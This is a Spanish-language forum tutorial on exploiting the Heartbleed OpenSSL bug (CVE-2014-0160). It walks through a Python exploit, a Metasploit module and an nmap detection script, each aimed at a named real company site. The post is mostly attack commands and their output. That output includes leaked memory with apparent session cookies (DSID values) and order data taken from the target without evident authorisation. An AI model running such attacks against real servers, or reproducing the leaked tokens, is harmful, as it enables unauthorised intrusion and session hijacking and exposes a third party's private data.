Explotando Bug OpenSSL

Buenas underc0de, tanto tiempo de no publicar algo por aqui.

En este pequeño tutorial veremos como explotar la famosa vulverabilidad heartbleed.

"Es el bug mas grande en OpenSSL, capaz de capturar y descifrar desde los nombres de usuario hasta las contraseñas, entre otra información sensible contenida en la memoria de los servidores."

Formas de explotarlo.

1. Exploit:

Unas de las formas de explotarlo es con el exploit: http://www.exploit-db.com/exploits/32745/ e interpretarlo con python.

Uso del exploit:

Código:

python openssl.py sales.bbuconnect.com --port 443 > output_ssl.txt
cat output_ssl.txt

Resultado:

Código:

Connecting...
Sending Client Hello...
Waiting for Server Hello...
 ... received message: type = 22, ver = 0302, length = 86
 ... received message: type = 22, ver = 0302, length = 1394
 ... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
 ... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:

Como podemos ver la página es vulnerable. Arrojandonos muchos datos sensibles.

2. Metasploit:

Como siempre metasploit facilitandonos la vida, para explotarlo usaremos el módulo: openssl_heartbleed.rb --> http://1337day.com/exploits/22129

Uso:

Código:

use auxiliary/scanner/ssl/openssl_heartbleed
set RHOSTS sales.bbuconnect.com
set RPORT 443
set VERBOSE true
run

Resultado:

Código:

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       =[ metasploit v4.8.0-dev [core:4.8 api:1.0]
+ -- --=[ 1154 exploits - 673 auxiliary - 182 post
+ -- --=[ 310 payloads - 30 encoders - 8 nops

msf auxiliary(openssl_heartbleed) > set RHOSTS sales.bbuconnect.com
RHOSTS => sales.bbuconnect.com
msf auxiliary(openssl_heartbleed) > set RPORT 443
RPORT => 443
msf auxiliary(openssl_heartbleed) > set VERBOSE true
VERBOSE => true
msf auxiliary(openssl_heartbleed) > run

[*] 4.31.139.165:443 - Sending Client Hello...
[*] 4.31.139.165:443 - Sending Heartbeat...
[*] 4.31.139.165:443 - Heartbeat response, checking if there is data leaked...
[+] 4.31.139.165:443 - Heartbeat response with leak
[*] 4.31.139.165:443 - Printable info leaked: @,ED!! ECECFFDCDADFDFDBDIDHEMFECACACAAA FFFDFEEMEEEHECECFHDADADDCACACAAASMB%V\MAILSLOT\BROWSEBBU2055187LTn_@@"|,!t-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: https://orders.bbuconnect.com/prompt/,DanaInfo=.abcwsvtsw1y1zpM-u-9sSw98,Port=10001+QtyModifierCookie: DSSignInURL=/; DSFirstAccess=1398132759; DSLastAccess=1398132936; DSLaunchURL=2F64616E612F686F6D652F73706163652E676966; DSID=b28e87546e98e6d08303408643f3f270Connection: keep-alivePfuMFau4A|9@6 ding: gzip, deflateHost: sales.bbuconnect.comDNT: 1Connection: Keep-AliveCookie: DSSignInURL=/; DSID=9e6dfea3018fb3ed2cddbe4fb6fcc008; DSFirstAccess=1398132571; DSLastAccess=1398132936h;+IM@M#$mRJH"p]N3uVht7e76fd5e3aa9dfebaca6107ed699f5; DSLastAccess=1398132936?>FA*ate_lvl=0&sticker_id=000&individual_pid=7203001339+000&pso_indicator=N&sun=-&mon=0&tue=0&wed=-&thu=0&fri=0&sat=0&row_total=0&prodId=7203001339+000&prodName=LTLEBTS+BLUEMUFF&grand_total=0&fore_cast=3&suggested_order=6&modified=-1&sun_pct=1&mon_pct=1&tue_pct=1&wed_pct=1&thu_pct=1&fri_pct=1&sat_pct=1&total_pct=1&sun_dif=0&mon_dif=0&tue_dif=0&wed_dif=0&thu_dif=0&fri_dif=0&sat_dif=0&change_total_from_zero=false&close_dt=NO&prom_id=null&prom_cat_id=0&wk_type_id=0&prom_id2=null&prom_cat_id2=0&wk_type_id2=0&has_prom_vol=0&update_dt=&depot_closed=0&update_lvl=0&sticker_id=000&individual_pid=7203001340+000&pso_indicator=N&sun=-&mon=0&tue=0&wed=-&thu=0&fri=0&sat=0&row_total=0&prodId=7203001340+000&prodName=LB+CRUMB+CAKE+5P&grand_total=0&fore_cast=1&suggested_order=0&modified=-1&sun_pct=1&mon_pct=1&tue_pct=1&wed_pct=1&thu_pct=1&fri_pct=1&sat_pct=1&total_pct=1&sun_dif=0&mon_dif=0&tue_dif=0&wed_dif=0&thu_dif=0&fri_dif=0&sat_dif=0&change_total_from_zero=false&close_dt=NO&prom_id=null&prom_cat_id=0&wk_type_id=0&prom_id2=null&prom_cat_id2=0&wk_type_id2=0&has_prom_vol=0&update_dt=&depot_closed=0&update_lvl=0&sticker_id=000&individual_pid=7203001342+000&pso_indicator=N&sun=-&mon=0&tue=18&wed=-&thu=0&fri=0&sat=0&row_total=18&prodId=7203001342+000&prodName=LTLEBTS+BROWNIES&grand_total=18&fore_cast=5&suggested_order=18&modified=-1&sun_pct=1&mon_pct=1&tue_pct=1&wed_pct=1&thu_pct=1&fri_pct=1&sat_pct=1&total_pct=1&sun_dif=0&mon_dif=0&tue_dif=0&wed_dif=0&thu_dif=0&fri_dif=0&sat_dif=0&change_total_from_zero=false&close_dt=NO&prom_id=null&prom_cat_id=0&wk_type_id=0&prom_id2=null&prom_cat_id2=0&wk_type_id2=0&has_prom_vol=0&update_dt=&depot_closed=0&update_lvl=0&sticker_id=000&individual_pid=7203001353+000&pso_indicator=N&sun=-&mon=0&tue=18&wed=-&thu=0&fri=0&sat=0&row_total=18&prodId=7203001353+000&prodName=LTLEBTS+CHOCCPMF&grand_total=18&fore_cast=3&suggested_order=18&modified=-1&sun_pct=1&mon_pct=1&tue_pct=1&wed_pct=1&thu_pct=1&fri_pct=1&sat_pct=1&total_pct=1&sun_dif=0&mon_dif=0&tue_dif=0&wed_dif=0&thu_dif=0&fri_dif=0&sat_dif=0&change_total_from_zero=false&close_dt=NO&prom_id=null&prom_cat_id=0&wk_type_id=0&prom_id2=null&prom_cat_id2=0&wk_type_id2=0&has_prom_vol=0&update_dt=&depot_closed=0&update_lvl=0&sticker_id=000&individual_pid=7203002058+052&pso_indicator=N&sun=-&mon=0&tue=0&wed=-&thu=12&fri=0&sat=0&row_total=12&prodId=7203002058+052&prodName=LB+SNDOODLE+MUFF&grand_total=12&fore_cast=4&suggested_order=12&modified=-1&sun_pct=1&mon_pct=1&tue_pct=1&wed_pct=1&thu_pct=1&fri_pct=1&sat_pct=1&total_pct=1&sun_dif=0&mon_dif=0&tue_dif=0&wed_dif=0&thu_dif=0&fri_dif=0&sat_dif=0&change_total_from_zero=false&close_dt=NO&prom_id=null&prom_cat_id=0&wk_type_id=0&prom_id2=null&prom_cat_id2=0&wk_type_id2=0&has_prom_vol=0&update_dt=&depot_closed=0&update_lvl=0&sticker_id=000&individual_pid=7203002200+052&pso_indicator=N&sun=-&mon=-&tue=0&wed=-&thu=0&fri=0&sat=0&row_total=0&prodId=7203002200+052&prodName=LB+STWBYOG+MFN5P&grand_total=0&fore_cast=1&suggested_order=0&modified=-1&sun_pct=1&mon_pct=1&tue_pct=1&wed_pct=1&thu_pct=1&fri_pct=1&sat_pct=1&total_pct=1&sun_dif=0&mon_dif=0&tue_dif=0&wed_dif=0&thu_dif=0&fri_dif=0&sat_dif=0&change_total_from_zero=false&close_dt=NO&prom_id=null&prom_cat_id=0&wk_type_id=0&prom_id2=null&prom_cat_id2=0&wk_type_id2=0&has_prom_vol=0&update_dt=04-21-2014&depot_closed=0&update_lvl=0&sticker_id=000&individual_pid=7087000908+
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(openssl_heartbleed) >

3: Nmap NSE script

Para detectar si es vulnerable: --> https://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse

Uso:

Código:

nmap -p 443 --script ssl-heartbleed <tarjet>

Resultado:

Código:

stuxnet@stuxnet:/media/Stuxnet/Pentesting/$ nmap -p 443 --script ssl-heartbleed 4.31.139.165

Starting Nmap 6.46 ( http://nmap.org ) at 2014-04-21 21:19 CST
Nmap scan report for sales.bbuconnect.com (4.31.139.165)
Host is up (0.13s latency).
PORT    STATE SERVICE
443/tcp open  https
| ssl-heartbleed: 
|   VULNERABLE:
|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
|     State: VULNERABLE
|     Risk factor: High
|     Description:
|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|           
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
|       http://www.openssl.org/news/secadv_20140407.txt 
|_      http://cvedetails.com/cve/2014-0160/